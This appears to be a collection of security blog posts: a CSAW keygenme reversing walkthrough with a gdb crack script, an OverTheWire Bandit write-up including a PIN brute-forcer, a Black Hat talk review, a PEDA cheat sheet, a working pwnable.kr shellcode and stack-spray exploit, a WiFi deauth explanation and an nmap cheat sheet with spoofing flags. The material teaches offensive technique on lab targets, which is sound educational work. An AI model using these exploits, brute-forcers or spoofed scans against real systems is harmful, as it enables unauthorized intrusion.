A walk through the binary with IDA

Want to learn reverse engineering? Continue ahead. This is a walkthrough of the "keygenme" reversing challenge from NYU's CSAW 2013 CTF competition. I try to be thorough and highlight how to solve both a CTF challenge, and how to use standard and modern reverse engineering tools.

Reversing : keygenme

someone has leaked a binary from an activation server.
can you crack the keygen algorithm for me?

using the ELF provided, reverse the keygeneration algorithm.
The server listening at raxcity.com on port 2000 will ask you for
the passwords of various usernames. If you can provide 10 passwords, you might get a nice flag :-)

*hint*
Rumor has it that the actual keygen runs in a custom vm. I'd start by decoding the instruction format.

Try to make it break

Play with the binary and give it inputs. See if you can draw conclusions, or make it crash.

$ ./keygenme32.elf
usage: ./keygenme32.elf <username> <token 1> <token 2>  
$ ./keygenme32.elf hellohello 123 123
error: hellohello is not a valid name  
$ ./keygenme32.elf hellohellohello1 123 123
:-(

Simply running it gives us the usage details. Trying out different sized usernames leads us to figuring out that the username for the keygen has to be 16+ characters. I couldn't get any crashes, which is reasonable since it's a "reversing" challenge, and not a pwning challenge.

High level picture from disassembly

Let's use IDA to see what the binary is about.

Our beloved main entry point

We enter main. The first fork leads us to either calling printusage() or not.
We probably want to go down the path of not calling printusage().

Next fork is the length check that we already figured out.

And then bam! A gigantic linear procedure.
This looks like a lot of work. Trying to decompile with the tab hotkey doesn't work. We can try to decompile the entire thing (Ctrl+F5), and see if that's any better -- nope, the main() didn't decompile for some reason.

Huge procedure in IDA

A first pass high-level human decompilation of the huge function, that I've renamed chal_logic(), looks like it's along the lines of:

call strtoul(argv[2])  
call strtoul(argv[2])  
allocate some std::strings...  
get a random huge constant...  
    dword ptr [esp+4], offset a00004820212900...
some more string stuff...  
construct a new cpu::cpu object... # the hint did say the keygen algo runs in a VM  
    calls cpu::fillmemory()
cpu::execute() is called # the fake VM CPU must take that previous constant and treat it as a series of instructions by loading it into its *fake* memory  
call getT6()  
call getT7()  
call check(int, int, int, int)  
either a sadface or happyface is printed  

You might've noticed that after the block is another branch. That branch appears to just be some C++ garbage collection, as they both merge to the same point afterwards. It can be ignored.

Digging deeper

If you paid attention, I mentioned a couple paragraphs back that you can use tab to switch to pseudocode. That's huge and nifty. But, IDA has a lot of other small things that makes it useful. If you take a look at the disassembly text that IDA gave us in the chal_logic block, you'll notice a lot of pseudo-variables.

NOTE: Assembly comments beginning with <--- are my own, and others are autogenerated by IDA.

var_28 seems to be C++'s this pointer for the cpu::cpu object. You can see this, because the ebx register is typically used to store the this pointer by C++ compilers.

call    _ZN3cpuC2ESsSsSs   ; cpu::cpu(std::string,std::string,std::string)
mov     [ebp+var_28], ebx  ; <--- Notice ebx, going into var_28

var_2C, and var_30 appear to be the return values of GetT6() and GetT7(). This is evident with the simple knowledge that in x86, compilers use eax to store the return value of functions.

call    _ZN3cpu5GetT6Ev    ; cpu::GetT6(void)
mov     [ebp+var_2C], eax  ; <--- The return value of GetT6 is placed into eax, and var_2C
mov     eax, [ebp+var_28]  ; <--- Recall that var_28 is 'this' in respect to the cpu::cpu object
mov     [esp], eax         ; this
call    _ZN3cpu5GetT7Ev    ; cpu::GetT7(void)
mov     [ebp+var_30], eax  ; <--- The return value of GetT7 is placed into eax, and var_30
mov     ebx, [ebp+var_28]
test    ebx, ebx           ; <--- This part is some C++ garbage collection cruft
jz      short loc_804A10A

After GetT6() and GetT7() are called, a call to check(int, int, int, int) is done. Let's see what four ints get passed to check().

In the most common calling convention found on x86, cdecl, arguments get passed to functions off of the stack. In cdecl, the arguments of a function are pushed onto the stack in reverse order -- the function being called expects the top of the stack to be the the first argument to it. It looks like the call to check is check(var_2C, var_30, var_20, var_24).

NOTE: If you're not familiar with the stack, I'm going to be doing a write-up on it soon. For now, it's just a place in memory that acts like a stack data structure (last in, first out) and is used in x86 computer architecture.

From earlier we know that var_2C and var_30 are T6 and T7 respectively. So, what is var_20 and var_24? Let's look back at what IDA disassembled for us. Use the x hotkey on var_20 to get xrefs to it. This will list everywhere that var_20 is cross referenced.

call    _strtoul  
mov     [ebp+var_20], eax  ; <--- var_20 is the return of strtoul  
call    _strtoul  
mov     [ebp+var_24], eax  ; <--- var_24 is the return of strtoul  

var_20 is the return value of the 1st strtoul(). And our other friend, var_24 is the return value of the 2nd strtoul().

So this check(var_2C, var_30, var_20, var_24) call is actually:
check(T6 from the fake computer, T7 from the fake computer, first int input, second int input)

Figuring out what check() does is actually really easy. You can slowly reverse it by using an x86 ref
manual
, or testing if IDA can do the work for us. Luckily the tab hotkey to see pseudo-code works.

_BOOL4 __cdecl check(int a1, int a2, int a3, int a4)  
{
  return __PAIR__(a2, a1) == __PAIR__(
                               (unsigned __int8)a4 | (BYTE3(a4) << 8) | ((unsigned __int8)((unsigned __int16)(a4 & 0xFF00) >> 8) << 16) | ((unsigned int)(unsigned __int8)((a4 & 0xFF0000) >> 16) << 24),
                               a3 ^ 0x31333337u);
}

Rewritten into python, and replacing the variable names with variable names to our liking:

def check(T6, T7, intarg1, intarg2):  
    temp1 = intarg1 ^ 0x31333337u
    temp2 = BYTE0(intarg2) | (BYTE3(intarg2) << 8) | (BYTE1(intarg2) << 16) | (BYTE2(intarg2) << 24)
    if temp1 != T6 or temp2 != T7:
       return false
    return true

The weird __PAIR__ keyword can basically be ignored. It's just comparing the 1st arguments of each pair, and then the 2nd arguments of each pair. If both comparisons is true, then true is returned. The BYTEn(x) macro is used to mean "the nth byte of x", where BYTE0 is the least significant byte

Okay, we almost have this binary figured out. However, we still need to know how the first argument, the username, is being used. It probably affects what "T6" and "T7" end up being by altering the instructions that get executed on the fake computer.

If var_20 is the the first numeric input, argv[2], then it would stand to reason that argv[1], the username, is var_1C.

mov     eax, [ebx+4]
add     eax, 4
mov     eax, [eax]
mov     [esp], eax   
call    _strlen
mov     [ebp+var_1C], eax
cmp     [ebp+var_1C], 0Fh  ; <--- Compare var_1C to 16
jg      short loc_8049F49

It looks like var_1C is compared to 16, so it's actually probably the length of the username, and not the actual username string. Going up a bit from the cmp instruction, it looks like the actual username string is in:

mov     eax, [ebx+4]
add     eax, 4  ; <--- eax now points to the username string

We can quickly leverage IDA's auto highlighting of selected variables by clicking on 'ebx' and seeing what glows yellow. The only place I see that's equiv to "ebx+8" is here:

mov     eax, [ebx+4]
add     eax, 4  ; <--- eax now points to the username string
mov     eax, [eax]
lea     edx, [ebp+var_4A]
mov     [esp+8], edx
mov     [esp+4], eax
lea     eax, [ebp+var_50]
mov     [esp], eax
call    __ZNSsC1EPKcRKSaIcE ; std::string::string(char const*,std::allocator<char> const&)

So it would appear that the username is used to create a std::string. Bunch more of std::string family function calls, and we can see that the username string is being concatenated to the random constant string we saw earlier.

What we know so far

So far our analysis of the binary tells us:

  • The binary takes 3 arguments
    • Username, a 16+ char string
    • Two integer arguments (they get converted from c-strings to ints with strtoul())
  • The binary constructs a cpu::cpu, a fake virtual computer
  • The binary fills the cpu::cpu, with some data from a long string, "000048202129009.."
  • The data is also derived from the username argument
  • The binary then runs cpu::execute to simulate running a computer with the memory/instructions loaded into it
  • The binary then gets T6 and T7 from that fake CPU after execution is finished.
  • The binary then runs a check(T6, T7, intarg1, intarg2)
  • If the check passes, we get a smileyface.

We know the username argument to the keygen is used as a seed to a fake computer to get T6 and T7 values out. We can reverse engineer the fake computer, and figure out how the username affects the instructions ran on it. However, I have a smarter and lazier idea -- it's a a computer, a fake one, but still a computer. That means it's a deterministic finite state machine. The same string input we give to it, will always produce the same output.

Recall the task at hand. We are to provide the correct key for 10 different usernames to a remote server. We have a leaked keygen binary, that takes a username and a key and tells us if they match. We can leverage this leaked keygen binary, and simply feed it the usernames that the remote server asks for. We can insert a debug break point right before the check() call in the binary, and see what arguments to it are. The first two arguments will be the fake computer's T6, and T7. Using those values, we can simply do math for the key that the remote server's check() function is expecting in return. Send it, and get a smileyface :-).

Writing our crack

We can leverage gdb's python scripting capability. Note however, that the python script has to be inside of gdb, after you launch it. We can use my shoe.py script to talk remotely to the server. Recall also that we have to do the check() function in reverse. We will be getting the T7, and we need to figure out what we can give for intarg that will shuffles around and form T7.

intarg    |  a  |  b  |  c  |  d  |  
               \   /     |     |
                 \      /      |
                /  \   /       |
              /      \/        |
             /      /  \       | 
            v      v    v      |
T7        |  1  |  2  |  3  |  4  |  
intarg =  |  3  |  1  |  2  |  4  |  
import gdb  
import sys

sys.path.append('.') # This is a hack to be able to import a local library  
import shoe

def get_t6t7(username):  
    keypart1 = "0x123123" # whatever
    keypart2 = "0x123123" # whatever

    prog = "/home/eugenek/code/buhacknight/workshops/keygenme-400/keygenme32.elf"
    args = "{} {} {}".format(username, keypart1, keypart2)
    check_bp = "0x0804A125"

    gdb.execute("file " + prog)
    gdb.execute("b *" + check_bp)
    gdb.execute("r " + args)

    T6 = gdb.parse_and_eval("*(unsigned int*)$esp")
    T7 = gdb.parse_and_eval("*(unsigned int*)($esp + 4)")

    print("T6 = {} T7 = {}".format(T6,T7))
    return (T6, T7)

def crack_keys(T6, T7):  
    keypart1 = T6 ^ 0x31333337
    keypart2 = (T7 & 0x000000FF) | (((T7 & 0x00FF0000) >> 16) << 8) | (((T7 & 0xFF000000) >> 24) << 16) | (((T7 & 0x0000FF00) >> 8) << 24) 
    return (keypart1, keypart2)

## Talk to the server and get what username it wants
## then send it back the cracked key
s = shoe.Shoe('localhost', 12123)  
resp = s.read_until("\r\n") # Welcome msg  
for i in range(0,10):  
    resp = s.read_until("\n").decode('utf-8') # Username msg
    print(resp)
    username = resp[-23:].rstrip()
    t6, t7 = get_t6t7(username)
    keypart1, keypart2 = crack_keys(t6, t7)

    ans = "{} {}\n".format(str(int(keypart1)), str(int(keypart2)))
    s.write(ans)
    resp = s.read_until("\n").decode('utf-8') # The smiley
    print(resp)

resp = s.read_until("\n") # Let's get our flag!  
print(resp)  
s.close()  

Run the script above in gdb:

$ source pwn.py
give me the password for l5R7Hd06vdzCEgVNBgUS1g
T6 = 719604441 T7 = 1692167297
:-)
give me the password for yhL6Ir0_kkEiIBkqhmJgsQ
T6 = 3377606778 T7 = 1557326192
:-)
... 8 more of these ...
b"here's the flag key{vM_k3yg3n_a1n7_n0_th4ng}\n"

Releasing a couple sets of security tools

I've been working on congregating a bunch of security and development related tools into easy to install repositories. You can see the list of tools for yourself and grab the repo.

Grab the windows version: https://github.com/eugenekolo/win-sec-tools

Linux version: https://github.com/eugenekolo/sec-tools

git clone https://github.com/eugenekolo/sec-tools  
./sec-tools/bin/manage-tools.sh setup
source ~/.bashrc

# list the available category/tools
manage-tools list

# install whatever <category/tool-name>
manage-tools install binary/radare2

# use the tool - your path is automatically configured
rabin2 -e /bin/ls

The Windows version at the moment is just a bunch of installer.exe's that I downloaded off the respective site.

The Linux version is a bit more sophisticated in that it's a separate install shell script for each tool organized into categories. See the usage details on github.

Be sure to submit any pull requests or issues :smile:!

Stack ASCII visualization

Highest Memory  
+----------------------+ <-- Maximum address of stack
|         ...          |
+----------------------+
|                      |
+----------------------+ <-- Start of system()'s stack frame
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+
|                      |
+----------------------+ <-- Start of read()'s frame
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        |
+----------------------+
| [address of system]  | <-- Stack pointer, gets popped
+----------------------+
|                      |
+----------------------+
|         ...          |
+----------------------+ <-- Lowest address of stack, it keeps growing this way
Lowest Memory  

OverTheWire Bandit Wargame Write-up

This is one of the easier wargames out there. The first ~22 levels have very few gotchas for experienced UNIX developers, and can take 30 minutes to a day. There are a few that I got caught up on though. It's a good way to learn the shell, or get more experienced with it.

Usually each stage will give you a password (and increment the username) to the next stage that you use to login with to get the next password and so on.

Check it out yourself here: http://overthewire.org/wargames/bandit/

Bandit Wargame

Bandit 0 → 1

Simply ssh into the server, with the username and password provided, and cat readme.

ssh [email protected] # password bandit0
cat readme

Bandit 1 → 2

You need to give the full file path to read it when the file has a '-' in it.

cat /home/bandit1/-

Bandit 2 → 3

You can use autocomplete w/ the tab key to help you out with hard file names.

cat "spaces in this file name"

Bandit 3 → 4

You can see hidden dot files with ls -la.

cd /inhere/
ls -la
cat .hidden

Bandit 4 → 5

No need to think too much, you can cat out all the files and look for something that looks like a password.

cat /inhere/*

Bandit 5 → 6

I can't remember all the flags and options to find, so I had to look in man find to see how to specify a file size in bytes. Find is recursive by default.

find  . - size 1033c

Bandit 6 → 7

Just more flags to find, at the file system root.

find . -size 33c -user bandit7 -group bandit6

Bandit 7 → 8

Simple use of the pipe, | and grep.

cat data.txt | grep millionth

Bandit 8 → 9

You have to sort before using uniq, as uniq only looks at contiguous matches. Use the -c flag to display counts. Looking for the entry with only 1 count.

cat data.txt | sort | uniq -c 

Bandit 9 → 10

Just get a list of the strings in the data set and look for the string beginning with ========.

cat data.txt | strings

Bandit 10 → 11

Simply use of base64 tool.

base64 --decode data.txt 

Bandit 11 → 12

Simply using cat and copy paste into a rot13 convert convert online yields the answer. You can also use tr to do rot13.

Bandit 12 → 13

This one's a real drag. First get the hexdump into actual hex data and then do a series of file and different extractions like 7 times.

xxd -r data.txt
file <output file>
gunzip/bunzip2/tar xf over and over

Bandit 13 → 14

Simply specify the key to use to ssh with the -i flag.

ssh -i sshkey.private [email protected]

Bandit 14 → 15

This one's tricky, because it requires you to read the MOTD that says "passwords are stored in /etc/somegame_pass". After that it's just nc localhost 30000 and enter the password of bandit14 from the directory.

Bandit 15 → 16

I had to google how to use nc with SSL for this one. Turns out ncat, another clone of nc, from nmap allows easy ssl.

ncat --ssl localhost 30001

Bandit 16 → 17

For this one, you get an ssh key that you have to feed to a port running on localhost in the range 31000-32000. There's only 5 servers, so just list them all and try them all. You get an ssh key in return, save it to a file and chmod 600 it to use for the next level.

nmap localhost -p 31000-32000

Bandit 17 → 18

Just a simple diff.

diff passwords.old passwords.new

Bandit 18 → 19

Copy the file over using scp.

scp [email protected]:/home/bandit18/readme .

Bandit 19 → 20

The setuid bin runs as bandit20 and executes anything given as them.

./bandit20-do cat /etc/bandit_pass/bandit20

Bandit 20 → 21

Run a socket listener on one terminal, and use the suconnect binary as a socket client.

nc -l -p 6161 # On one terminal
./suconnect 6262 # On other terminal

Bandit 21 → 22

This one involves some guessing of what they want from you. Basically it's just look in /etc/cron.d and the cronjob_bandit22.sh file. The cronjob runs /usr/bin/cronjob_bandit22.sh which simply creates a tmp file with bandit22's pw. Read that file to get the next password.

Bandit 22 → 23

Same thing as the previous level, but look into cronjob_bandit23.sh, this one creates a file as well, but it's more obfuscated. You can simply redo what it does and get the filename.

 cat `echo I am user bandit23 | md5sum | cut -d ' ' -f 1`

Bandit 23 → 24

Another cronjob challenge. This one uses cronjob_bandit24.sh and executes all scripts in /var/spool/bandit24. Simply create a shell script that writes a file with bandit24's password. Be sure to chmod +x it.

#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/somefile

Bandit 24 → 25

These last two are the most exciting. This one involves bruteforcing all 4 digit pins to a remote server. The slow way is to loop doing echo foo | nc, but that creates a new connection each time. The faster way is to keep the connection open and loop. I used my shoe.py script for easy reading and writing to remote servers.

#!/usr/bin/python
import shoe

s = shoe.Shoe('localhost', 30002)
for i in range(0, 9999):
    cmd = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ {}".format(i)
    s.write(cmd + "\n")
    r = s.read_until_end(.001)
    if "Wrong!" not in r and len(r) > 10:
            print(r)

Bandit 25 → 26

This one took me a bit figure out. I'll leave it as a challenge to the reader.

Congratulations on solving the last level of this game!

Black Hat 2015 Video/Talk Review

I watched almost every Black Hat 2015 video. This year was about average. There were some great talks, and many not that great. Here's my highly biased top 10 list, and a few honorable mentions.

Black Hat Top 10

(1) Writing Bad @$$ Malware For OS X by Patrick Wardle

  • Details the OSX malware state.
  • Cool proof of concepts:
    • OSX loader kills stuff that doesn't match a signature. As such dynamic injection into running Apple signed apps doesn't work. However, can easily remove the signature in the first place, and then it works :).
    • Dylib hijacking (same as DLL hijacking) is prevalent.
  • Goes into detail of how to be stealthy and persistent.
  • Details how to bypass Gatekeeper, Xprotect, OSX Sandbox, Kernel-mode code signing, and that the number of local privilege escalations is absurd and easy to find in OSX.
  • Mentions the OSX tools he made relating to all of this:
    • KnockKnock, shows what autoruns on start
    • BlockBlock, block access to persistence areas

Overall a great talk by Patrick, and I highly recommend watching it.

(2) Ah! Universal Android Rooting Is Back by Wen Xu

  • A great case study of Keen Team's universal Android root discovery, PingPong root.
    • Works on Samsung S6.

(3) The Memory Sinkhole - Unleashing An X86 Design Flaw Allowing Universal Privilege Escalation by Christopher Domas

  • Primer on ring -2, the secure memory management unit that's below the hypervisor, that's below the kernel (ring 0).
  • Advanced memory/CPU exploitation leveraging the movement of the APIC.
  • Great talker
  • POC can be found at: https://www.exploit-db.com/exploits/37724

The top 3 are without a doubt my favourite from this year. However, it gets hard to decide positions for the rest of these...

(4) Abusing Silent Mitigations - Understanding Weaknesses Within Internet Explorer by Brian Gorenc & Abdul-Aziz Hariri & Simon Zuckerbraun

  • Good talk about exploiting the heap in modern IE. Use-after-free galore.
  • However, talk video is long and not organized well.

(5) Unicorn: Next Generation CPU Emulator Framework by Nguyen Anh Quynh & Hoang-Vu Dang

  • A faster more efficient QEMU fork.
  • Plugable and extensible.

(6) The Node.js Highway: Attacks Are At Full Throttle by Maty Siman & Amit Ashbel

  • Details some implementation based attacks on JS/Node.js

(7) Social Engineering The Windows Kernel: Finding And Exploiting Token Handling Vulnerabilities by James Forshaw

  • Overall a good talk, but a bit over my unknowledgeable in Windows head.

(8) Return To Where? You Can't Exploit What You Can't Find by Christopher Liebchen & Ahmad-Reza Sadeghi & Andrei Homescu & Stephen Crane

  • Readactor. Another Anti-ROP method.
    • Adds another layer of abstraction/indirection to hide addresses.
  • Many problems can be solved with another layer of indirection
  • Sounds like the paper might be more interesting to read in-depth.

(9) Certifi-gate: Front-Door Access To Pwning Millions Of Androids by Ohad Bobrov & Avi Bashan

  • Some Android permissions are "privileged", and only able to be acquired if OEM (Samsung, LG, etc.) signed them.
  • Remote control apps are signed by OEMs to work properly, due to needing those privileges.
  • Talk shows POCs that due to some apps being signed with such high privileges and their poor implementations, backdoors are easy.
    • Ex: TeamViewer uses a Cert's Serial # to verify communication to it, however Android doesn't use a central CA, self-signing is possible, as such you can create a cert with the same serial # as TeamViewer and MITM it.

(10) Exploiting XXE Vulnerabilities In File Parsing Functionality by Willis Vandevanter

  • Quick talk that shows some POCs with XML exploiting.
    • Word docs are XML.
  • Shows data exfil via errors from XML paresrs.

Honorable mentions:

(1) Exploiting Out-of-Order Execution For Covert Cross-VM Communication by Sophia D'Antoine

  • Novel concept (to me) about introducing hardware cross communication based on hypervisor allocating memory and needing to inform the guest VMs.

(2) Defeating Pass-the-Hash: Separation Of Powers by Seth Moore & Baris Saydag

  • I didn't find anything new, or too interesting, but it details OS internals, and how some stuff in Windows works. I recommend if you're serious about learning Windows 10 internals.

(3) Mobile Point Of Scam: Attacking The Square Reader by Alexandrea Mellen & John Moore & Artem Losev

  • Boston University represent! Great job guys.

Better disassembly with GDB/PEDA

GDB is unfortunately not that great for debugging. Especially when you compare it to the Windows world's Visual Studio debugger. It's the best we got though on Linux, and PEDA makes it much more tolerable.

Here's my .gdbinit, and some tips on how to use PEDA to make debugging easier.

# Save in file: ~/.gdbinit
source ~/peda/peda.py  
set disassembly-flavor intel  
set pagination off  
catch exec  
# Keep a history of all the commands typed. Search is possible using ctrl-r
set history save on  
set history filename ~/.gdb_history  
set history size 32768  
set history expansion on  
# Commands to use in GDB/PEDA
b <func_name> - classic breakpoint  
b *0x123123 - break at address 0x123123  
pdisas - better disass  
vmmap - print mapped memory  
pattern create 2000 - generate cyclic pattern  
telescope 200 - pretty print the stack, 200 ahead  
context all -  print registers, stack, code, everything good  
xormem - xor a memory region with a key  
procinfo - display various info from /proc/pid/  
find “/bin/sh” libc - look for /bin/sh in libc  
find 0xdeadbeef all - look for 0xdeadbeef in all mapped memory  
find “..\x04\x08” 0x08048000 0x08049000 - regex search a memory region

dumprop -  show ROP gadgets  
checksec - list security settings of binary  
readelf - get information about the elf file  

Pwning tiny_easy (pwnable.kr)

This is a writeup of how to pwn tiny_easy on http://pwnable.kr, a great site for exploitation and reversing practice.

Challenge statement

I made a pretty difficult pwn task. However I also made a dumb rookie mistake and made it too easy :( This is based on real event :) enjoy.

ssh [email protected] -p2222 (pw:guest)

Analysis

[email protected]:~$ ssh [email protected] -p2222  
[email protected]:~$ ./tiny_easy  
Segmentation fault  

Okay, just segfaults. Let's dump and disassemble it.

[email protected]:~$ hexdump -C tiny_easy  
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|  
00000010  02 00 03 00 01 00 00 00  54 80 04 08 34 00 00 00  |........T...4...|  
00000020  00 00 00 00 00 00 00 00  34 00 20 00 01 00 00 00  |........4. .....|  
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|  
00000040  00 80 04 08 5a 00 00 00  5a 00 00 00 05 00 00 00  |....Z...Z.......|  
00000050  00 10 00 00 58 5a 8b 12  ff d2                    |....XZ....|  
0000005a

[email protected]:~$ objdump -D tiny_easy

tiny_easy:     file format elf32-i386

[email protected]:~$ objdump -x tiny_easy

tiny_easy:     file format elf32-i386  
tiny_easy  
architecture: i386, flags 0x00000102:  
EXEC_P, D_PAGED  
start address 0x08048054

Program Header:  
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000005a memsz 0x0000005a flags r-x

Sections:  
Idx Name          Size      VMA       LMA       File off  Algn  
SYMBOL TABLE:  
no symbols  

Wow, it really is tiny! It's actually so small, that there is no executable section in it. That's not to say nothing
executes. This is obvious as we get a segmentation fault, it's doing something.

Using GDB (or knowing the structure of an ELF and assembly), we can figure out what it's actually doing.

It simply executes 4 instructions:

58      pop eax  
5a      pop edx  
8b12    mov edx,DWORD PTR [edx]  
ffd2    call edx  

How a program works

A program is usually launched with something like:
myprog arg1 arg2 arg3
Additionally programs are aware what's in our $PATH environment variable, as well as any other env vars it might need.

So if you look carefully, that's 2 things a program gets/needs:
1. The arguments
2. The environment

This is evident if you examine the entry point in UNIX:
int main (int argc, char *argv[], char *envp[])

Without diving into how a program stack works on x86 (https://www.win.tue.nl/~aeb/linux/hh/stack-layout.html), what you need to know is that envp, argv, and argc get pushed onto the stack, in that order.

| [    argc    ] <-- This gets popped!
v [    argv    ]  
  [    envp    ]

Challenges

The situation looks grim if you examine the binary with checksec, and also check if ASLR is enabled on the server:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY FORTIFIED FORTIFY-able  FILE  
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No  0       0/home/tiny_easy/tiny_easy

[email protected]:~$ cat /proc/sys/kernel/randomize_va_space  
2  

NX and ASLR are both enabled. This is very problematic, but let's look back to the hint given to us in the beginning.

The hint for this challenge is:

"However I also made a dumb rookie mistake and made it too easy :( This is based on real event :) enjoy."

The rookie mistake here is that if you look above, there is no stack program header. So while NX (non-executable stack) is enabled for the machine, NX is not enabled for this binary. That means the solution can leverage arbitrary execution on the stack.

Solution

We need to get our payload onto the stack. We know argc, argv, and envp get pushed onto the stack. So let's put our shellcode into some environment variables. We also need to redirect program flow, recall in the analysis section the four instructions that the program is doing. It pops argc into eax, pops argv into edx, and then starts executing what's pointed by edx.

Normally the first argument in argv is the name of the program, however this is not technically a requirement we can change it to anything we want, evident if you look at the typical structure of an execv call, execv("myprog", {"myprog", "arg1", "arg2"}), notice the repeated "myprog".

ASLR is enabled, so we don't know the exact address that our payload is at on the stack. So we have to spray the stack by creating a bunch of environment variables and nopsleds.

#!/usr/bin/python
import os  
import subprocess

jumpto = "\xb0\xaf\xb5\xff"  
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"  
nopsled = "\x90"*4096;  
payload = nopsled+shellcode

myenv = {}  
# Arbitrary largeish number
for i in range(0,100):  
    myenv["spray"+str(i)] = payload

while True:  
    p = subprocess.Popen([jumpto], executable="/home/tiny_easy/tiny_easy", env=myenv)
    p.wait()

Executing...

[email protected]:/tmp/eugenek_tiny_easy$ python pwn.py  
$ cat /home/tiny_easy/flag
What a tiny task :) <redacted>  

Looking ahead

This was tiny_easy, I'm looking forward to giving tiny a try.

You can see that tiny doesn't have the rookie mistake as this one does.

[email protected]:~/Downloads$ objdump -x tiny

tiny:     file format elf32-i386  
...
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
         filesz 0x00000000 memsz 0x00000000 flags rw-

tiny doesn't have an executable stack! :(

WiFi Deauth Attack

It's a pretty interesting and surprisingly simple attack.

In five steps:
1. The WiFi protocol has something called a deauth frame.
2. The frame can be sent from a station, essentially asking to be released from the network.
3. These frames are usually not encrypted, and only authentication is via a MAC address. An attacker can spoof the MAC address of the victim easily and tell the access point to disconnect it.
4. The attacker then yells very loudly that it's the access point and the victim should connect to it.
5. The victim connects to it 😞.

In a visual:

Nmap cheat sheet

I can never remember all the flags to nmap. So I compiled a cheat sheet of some more useful ones.

nmap -sP 10.0.0.0/24
Ping scans the network, listing machines that respond to ping.

nmap -p 1-65535 -sV -sS -T4 target
Full TCP port scan using with service version detection - usually my first scan, I find T4 more accurate than T5 and still "pretty quick".

nmap -v -sS -A -T4 target
Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + traceroute and scripts against target services.

nmap -v -sS -A -T5 target
Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection + traceroute and scripts against target services.

nmap -v -sV -O -sS -T5 target
Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection.

nmap -v -p 1-65535 -sV -O -sS -T4 target
Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + full port range scan.

nmap -v -p 1-65535 -sV -O -sS -T5 target
Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection + full port range scan.

-D decoy1,decoy2,ME
Cloak a scan with decoys

-S IP-ADDRESS
Spoof source address

--spoof-mac ADDR/PREFIX/VENDOR
Spoof NMAP MAC address